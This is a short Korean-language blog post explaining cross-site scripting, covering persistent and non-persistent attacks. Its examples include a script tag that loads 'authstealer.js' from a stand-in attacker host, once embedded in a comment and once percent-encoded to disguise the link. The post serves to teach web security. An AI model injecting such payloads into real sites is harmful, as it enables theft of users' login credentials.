browser security model — XSS
3 min readSep 29, 2019
Cross-site scripting (XSS)
타인이 조회 가능한 웹사이트를 통해
client-side에 malcious <script>를 inject하는 행위.
예를 들어 2가지 방식이 있는데,
Persistent Attack
특정 페이지의 html에
주석처리한 <script>라인을 넣는다.
이후 client가 해당 페이지를 load하면, script태그는 주석처리가 되지 않아 해당 script는 client의 환경에서 실행이 된다.
ex)
I love the puppies in this story! They’re so cute!<script src=”http://mallorysevilsite.com/authstealer.js">
Non-persistent Attack
특정인들에게 정상적인 사이트의 취약한 페이지로 유인하는 메일,문자 등등을 보내고,
해당 페이지로 접근 시, 심어둔 script를 통해 특정 js파일을 실행하거나, 의도된 결과를 유발한다.
이 때, 해당 스크립트의 이동되는 주소나, 호출 js파일의 주소를
ASCII characters with percent-encoding 와 같은 방식을 통해
이용자가 URL을 통해 이상함을 감지할 수 없도록 변조할 수 도 있다.
<script%20src="http://mallorysevilsite.com/authstealer.js"></script>encode한 주소 -----
%3Cscript%2520src%3D%22http%3A%2F%2Fmallorysevilsite.com%2Fauthstealer.js%22%3E%3C%2Fscript%3E
출처